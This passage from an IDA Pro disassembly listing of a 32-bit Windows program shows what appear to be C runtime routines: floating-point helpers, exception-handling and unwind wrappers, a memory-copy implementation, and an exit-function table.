--------------------------------------------------------------------------- loc_415D5F: ; CODE XREF: sub_415D04+3Fj push esi push ebx call sub_41A6B1 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_415DCF ; --------------------------------------------------------------------------- loc_415D6D: ; CODE XREF: sub_415D04+3Aj ; sub_415D04+44j fld [ebp+arg_0] fadd dbl_421670 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_415DC7 ; --------------------------------------------------------------------------- loc_415D8A: ; CODE XREF: sub_415D04+2Fj call sub_41A53E fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_415DAD loc_415D9F: ; CODE XREF: sub_415D04+ACj push esi push ebx call sub_41A6B1 fld [ebp+var_8] pop ecx pop ecx jmp short loc_415DCF ; --------------------------------------------------------------------------- loc_415DAD: ; CODE XREF: sub_415D04+99j test bl, 20h jnz short loc_415D9F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_415DC7: ; CODE XREF: sub_415D04+84j call sub_419EDC add esp, 1Ch loc_415DCF: ; CODE XREF: sub_415D04+59j ; sub_415D04+67j ... pop esi pop ebx leave retn sub_415D04 endp ; =============== S U B R O U T I N E ======================================= sub_415DD3 proc near ; CODE XREF: sub_41781A+9p ; sub_41A77A+21p ; DATA XREF: ... call sub_415DEB call sub_41A77A mov dword_46B610, eax call sub_41A72A fnclex retn sub_415DD3 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_415DEB proc near ; CODE XREF: sub_415DD3p mov eax, offset sub_41AB68 mov off_43A284, offset sub_41A7FD mov off_43A280, eax mov off_43A288, offset sub_41A863 mov off_43A28C, offset sub_41A7A3 mov off_43A290, offset sub_41A84B mov off_43A294, eax retn sub_415DEB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E24 proc near ; CODE XREF: sub_404630+1Bp ; sub_404630+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_415E24 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_415E4B(double) sub_415E4B proc near ; CODE XREF: sub_40467C+83p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_437EF8 call sub_41A6B1 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_415ED1 call sub_41A579 pop ecx test eax, eax pop ecx jle short loc_415EB4 cmp eax, 2 jle short loc_415EA6 cmp eax, 3 jnz short loc_415EB4 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_419E89 add esp, 10h jmp short loc_415F16 ; --------------------------------------------------------------------------- loc_415EA6: ; CODE XREF: sub_415E4B+3Fj push esi push ebx call sub_41A6B1 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_415F16 ; --------------------------------------------------------------------------- loc_415EB4: ; CODE XREF: sub_415E4B+3Aj ; sub_415E4B+44j fld [ebp+arg_0] fadd dbl_421670 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_415F0E ; --------------------------------------------------------------------------- loc_415ED1: ; CODE XREF: sub_415E4B+2Fj call sub_41A53E fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_415EF4 loc_415EE6: ; CODE XREF: sub_415E4B+ACj push esi push ebx call sub_41A6B1 fld [ebp+var_8] pop ecx pop ecx jmp short loc_415F16 ; --------------------------------------------------------------------------- loc_415EF4: ; CODE XREF: sub_415E4B+99j test bl, 20h jnz short loc_415EE6 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_415F0E: ; CODE XREF: sub_415E4B+84j call sub_419EDC add esp, 1Ch loc_415F16: ; CODE XREF: sub_415E4B+59j ; sub_415E4B+67j ... pop esi pop ebx leave retn sub_415E4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F1A proc near ; CODE XREF: sub_41AFD9+71p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_415F1A endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_415F4E proc near ; CODE XREF: sub_41B18A+199p ; sub_41B34E+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_415F4E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_415F55 proc near ; CODE XREF: sub_41B18A+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_415F55 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F5C proc near ; CODE XREF: sub_41610E+5Cp ; sub_41AFD9:loc_41B00Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_415F84 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_420A0C ; RtlUnwind loc_415F84: ; DATA XREF: sub_415F5C+11o mov eax, [ebp+arg_4] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+arg_4] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp+var_8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 sub_415F5C endp ; --------------------------------------------------------------------------- loc_415FAB: ; CODE XREF: seg001:00420B68j ; seg001:00420B85j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41ABDE add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415FE1 proc near ; CODE XREF: sub_41B054+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_416035 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41B3E0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_415FE1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416035 proc near ; DATA XREF: sub_415FE1+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41ABDE add esp, 20h pop ebp retn sub_416035 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41605A proc near ; CODE XREF: sub_41AE20+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_41610E mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_4160E0 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_46B6B8 pop ecx pop ecx and [ebp+var_34], 0 loc_4160E0: ; DATA XREF: sub_41605A+3Co cmp [ebp+var_4], 0 jz short loc_4160FD mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_416106 ; --------------------------------------------------------------------------- loc_4160FD: ; CODE XREF: sub_41605A+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_416106: ; CODE XREF: sub_41605A+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_41605A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41610E proc near ; DATA XREF: sub_41605A+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_416131 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41617E ; --------------------------------------------------------------------------- loc_416131: ; CODE XREF: sub_41610E+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41ABDE add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41616F push [ebp+arg_0] push [ebp+arg_4] call sub_415F5C loc_41616F: ; CODE XREF: sub_41610E+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41617E: ; CODE XREF: sub_41610E+21j pop edi pop esi pop ebx pop ebp retn sub_41610E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416183 proc near ; CODE XREF: sub_41AC79+C6p ; sub_41AE20+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_4161DA loc_4161A1: ; CODE XREF: sub_416183+52j cmp esi, 0FFFFFFFFh jnz short loc_4161AB call sub_41B482 loc_4161AB: ; CODE XREF: sub_416183+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_4161C0 cmp ecx, [eax+8] jle short loc_4161C5 loc_4161C0: ; CODE XREF: sub_416183+36j cmp esi, 0FFFFFFFFh jnz short loc_4161D1 loc_4161C5: ; CODE XREF: sub_416183+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_4161D1: ; CODE XREF: sub_416183+40j cmp [ebp+arg_4], 0 jge short loc_4161A1 mov eax, [ebp+var_4] loc_4161DA: ; CODE XREF: sub_416183+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_4161EE cmp esi, eax jbe short loc_4161F3 loc_4161EE: ; CODE XREF: sub_416183+65j call sub_41B482 loc_4161F3: ; CODE XREF: sub_416183+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_416183 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416200 proc near ; CODE XREF: sub_41D6A4+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_416218 push [ebp+arg_0] call sub_420A0C ; RtlUnwind loc_416218: ; DATA XREF: sub_416200+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416200 endp ; =============== S U B R O U T I N E ======================================= sub_416220 proc near ; DATA XREF: sub_416242+Ao ; sub_4162AA+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_416241 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_416241: ; CODE XREF: sub_416220+10j retn sub_416220 endp ; =============== S U B R O U T I N E ======================================= sub_416242 proc near ; CODE XREF: sub_41B0FA+Dp ; sub_41D6A4+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_416220 push large dword ptr fs:0 mov large fs:0, esp loc_41625F: ; CODE XREF: sub_416242:loc_41629Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41629C cmp esi, [esp+1Ch+arg_4] jz short loc_41629C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41629A push 101h mov eax, [ebx+esi*4+8] call sub_4162D6 call dword ptr [ebx+esi*4+8] loc_41629A: ; CODE XREF: sub_416242+44j jmp short loc_41625F ; --------------------------------------------------------------------------- loc_41629C: ; CODE XREF: sub_416242+2Aj ; sub_416242+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_416242 endp ; =============== S U B R O U T I N E ======================================= sub_4162AA proc near ; CODE XREF: sub_41B11A+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_416220 jnz short locret_4162CC mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_4162CC mov eax, 1 locret_4162CC: ; CODE XREF: sub_4162AA+10j ; sub_4162AA+1Bj retn sub_4162AA endp ; =============== S U B R O U T I N E ======================================= sub_4162CD proc near ; CODE XREF: sub_41B3E0+1Ep ; sub_41B3E0+40p push ebx push ecx mov ebx, offset dword_437EFC jmp short loc_4162E0 sub_4162CD endp ; =============== S U B R O U T I N E ======================================= sub_4162D6 proc near ; CODE XREF: sub_416242+4Fp ; sub_41D6A4+78p push ebx push ecx mov ebx, offset dword_437EFC mov ecx, [ebp+8] loc_4162E0: ; CODE XREF: sub_4162CD+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_4162D6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4162F0 proc near ; CODE XREF: sub_40467C+5p ; sub_40481B+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_4162F0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41630F proc near ; CODE XREF: sub_404CE4+22p ; seg001:004207E5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_415C9B pop ecx retn sub_41630F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416320 proc near ; CODE XREF: sub_404D51+3Ap ; sub_418CE8+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_39 = byte ptr 41h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_416340 cmp edi, eax jb loc_4164B8 loc_416340: ; CODE XREF: sub_416320+16j test edi, 3 jnz short loc_41635C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41637C rep movsd jmp off_416468[edx*4] ; --------------------------------------------------------------------------- loc_41635C: ; CODE XREF: sub_416320+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_416374 and eax, 3 add ecx, eax jmp dword ptr loc_41637C+4[eax*4] ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_416320+46j jmp dword ptr loc_416478[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41637C: ; CODE XREF: sub_416320+31j ; sub_416320+8Ej ... jmp off_4163FC[ecx*4] ; --------------------------------------------------------------------------- db 2 dup(90h) db 63h, 41h, 0 dd offset loc_4163BC dd offset loc_4163E0 ; --------------------------------------------------------------------------- and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41637C rep movsd jmp off_416468[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4163BC: ; DATA XREF: sub_416320+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41637C rep movsd jmp off_416468[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4163E0: ; DATA XREF: sub_416320+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41637C rep movsd jmp off_416468[edx*4] ; --------------------------------------------------------------------------- align 4 off_4163FC dd offset loc_41645F ; DATA XREF: sub_416320:loc_41637Cr dd offset loc_41644C dd offset loc_416444 dd offset loc_41643C dd offset loc_416434 dd offset loc_41642C dd offset loc_416424 dd offset loc_41641C ; --------------------------------------------------------------------------- loc_41641C: ; CODE XREF: sub_416320:loc_41637Cj ; DATA XREF: sub_416320+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_416424: ; CODE XREF: sub_416320:loc_41637Cj ; DATA XREF: sub_416320+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41642C: ; CODE XREF: sub_416320:loc_41637Cj ; DATA XREF: sub_416320+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_416434: ; CODE XREF: sub_416320:loc_41637Cj ; DATA XREF: sub_416320+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41643C: ; CODE XREF: sub_416320:loc_41637Cj ; DATA XREF: sub_416320+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_416444: ; CODE XREF: sub_416320:loc_41637Cj ; DATA XREF: sub_416320+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41644C: ; CODE XREF: sub_416320:loc_41637Cj ; DATA XREF: sub_416320+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41645F: ; CODE XREF: sub_416320:loc_41637Cj ; DATA XREF: sub_416320:off_4163FCo jmp off_416468[edx*4] ; --------------------------------------------------------------------------- align 4 off_416468 dd offset loc_416478 ; DATA XREF: sub_416320+35r ; sub_416320+92r ... dd offset loc_416480 dd offset loc_41648C dd offset loc_4164A0 ; --------------------------------------------------------------------------- loc_416478: ; CODE XREF: sub_416320+35j ; sub_416320+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_416480: ; CODE XREF: sub_416320+35j ; sub_416320+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41648C: ; CODE XREF: sub_416320+35j ; sub_416320+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4164A0: ; CODE XREF: sub_416320+35j ; sub_416320+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4164B8: ; CODE XREF: sub_416320+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4164EC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4164E0 std rep movsd cld jmp off_416600[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4164E0: ; CODE XREF: sub_416320+1B1j ; sub_416320+208j ... neg ecx jmp off_4165B0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4164EC: ; CODE XREF: sub_416320+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_416504 and eax, 3 sub ecx, eax jmp dword ptr loc_416504+4[eax*4] ; --------------------------------------------------------------------------- loc_416504: ; CODE XREF: sub_416320+1D6j ; DATA XREF: sub_416320+1DDr jmp off_416600[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_416517+1 ; --------------------------------------------------------------------------- cmp [ebp+arg_39], ah add [eax+65h], ah inc ecx loc_416517: ; DATA XREF: sub_416320+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_4164E0 std rep movsd cld jmp off_416600[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4164E0 std rep movsd cld jmp off_416600[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4164E0 std rep movsd cld jmp off_416600[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4165B4 dd offset loc_4165BC dd offset loc_4165C4 dd offset loc_4165CC dd offset loc_4165D4 dd offset loc_4165DC dd offset loc_4165E4 off_4165B0 dd offset loc_4165F7 ; DATA XREF: sub_416320+1C2r ; --------------------------------------------------------------------------- loc_4165B4: ; DATA XREF: sub_416320+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_4165BC: ; DATA XREF: sub_416320+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_4165C4: ; DATA XREF: sub_416320+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_4165CC: ; DATA XREF: sub_416320+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_4165D4: ; DATA XREF: sub_416320+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_4165DC: ; DATA XREF: sub_416320+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_4165E4: ; DATA XREF: sub_416320+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4165F7: ; CODE XREF: sub_416320+1C2j ; DATA XREF: sub_416320:off_4165B0o jmp off_416600[edx*4] ; --------------------------------------------------------------------------- align 10h off_416600 dd offset loc_416610 ; DATA XREF: sub_416320+1B7r ; sub_416320:loc_416504r ... dd offset loc_416618 dd offset loc_416628 dd offset loc_41663C ; --------------------------------------------------------------------------- loc_416610: ; CODE XREF: sub_416320+1B7j ; sub_416320:loc_416504j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416618: ; CODE XREF: sub_416320+1B7j ; sub_416320:loc_416504j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416628: ; CODE XREF: sub_416320+1B7j ; sub_416320:loc_416504j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41663C: ; CODE XREF: sub_416320+1B7j ; sub_416320:loc_416504j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_416320 endp ; =============== S U B R O U T I N E ======================================= sub_416655 proc near ; CODE XREF: sub_404DB8+34p ; sub_404DB8+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_415BFB pop ecx pop ecx retn sub_416655 endp ; =============== S U B R O U T I N E ======================================= sub_416663 proc near ; CODE XREF: sub_4166D0+4p arg_0 = dword ptr 4 push esi push dword_46CCBC call sub_41B4D8 mov edx, dword_46CCBC pop ecx mov ecx, dword_46CCB8 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_4166C2 push edx call sub_41B4D8 add eax, 10h push eax push dword_46CCBC call sub_41737F add esp, 0Ch test eax, eax jnz short loc_4166A5 retn ; --------------------------------------------------------------------------- loc_4166A5: ; CODE XREF: sub_416663+3Fj mov ecx, dword_46CCB8 sub ecx, dword_46CCBC mov dword_46CCBC, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_46CCB8, ecx loc_4166C2: ; CODE XREF: sub_416663+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_46CCB8, 4 retn sub_416663 endp ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_404EA5+1Ap ; sub_4209EE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_416663 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_4166D0 endp ; =============== S U B R O U T I N E ======================================= sub_4166E2 proc near ; DATA XREF: seg001:00423018o push 80h call sub_415BE9 test eax, eax pop ecx mov dword_46CCBC, eax jnz short loc_416703 push 18h call sub_417C0E mov eax, dword_46CCBC pop ecx loc_416703: ; CODE XREF: sub_4166E2+12j and dword ptr [eax], 0 mov eax, dword_46CCBC mov dword_46CCB8, eax retn sub_4166E2 endp ; =============== S U B R O U T I N E ======================================= sub_416711 proc near ; CODE XREF: sub_418AD0+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_416728 add esp, 10h retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416728 proc near ; CODE XREF: sub_416711+Ep ; sub_416930+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_416740: ; CODE XREF: sub_416728+46j cmp dword_43812C, 1 jle short loc_416758 movzx eax, bl push 8 push eax call sub_418576 pop ecx pop ecx jmp short loc_416767 ; --------------------------------------------------------------------------- loc_416758: ; CODE XREF: sub_416728+1Fj mov ecx, off_437F20 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_416767: ; CODE XREF: sub_416728+2Ej test eax, eax 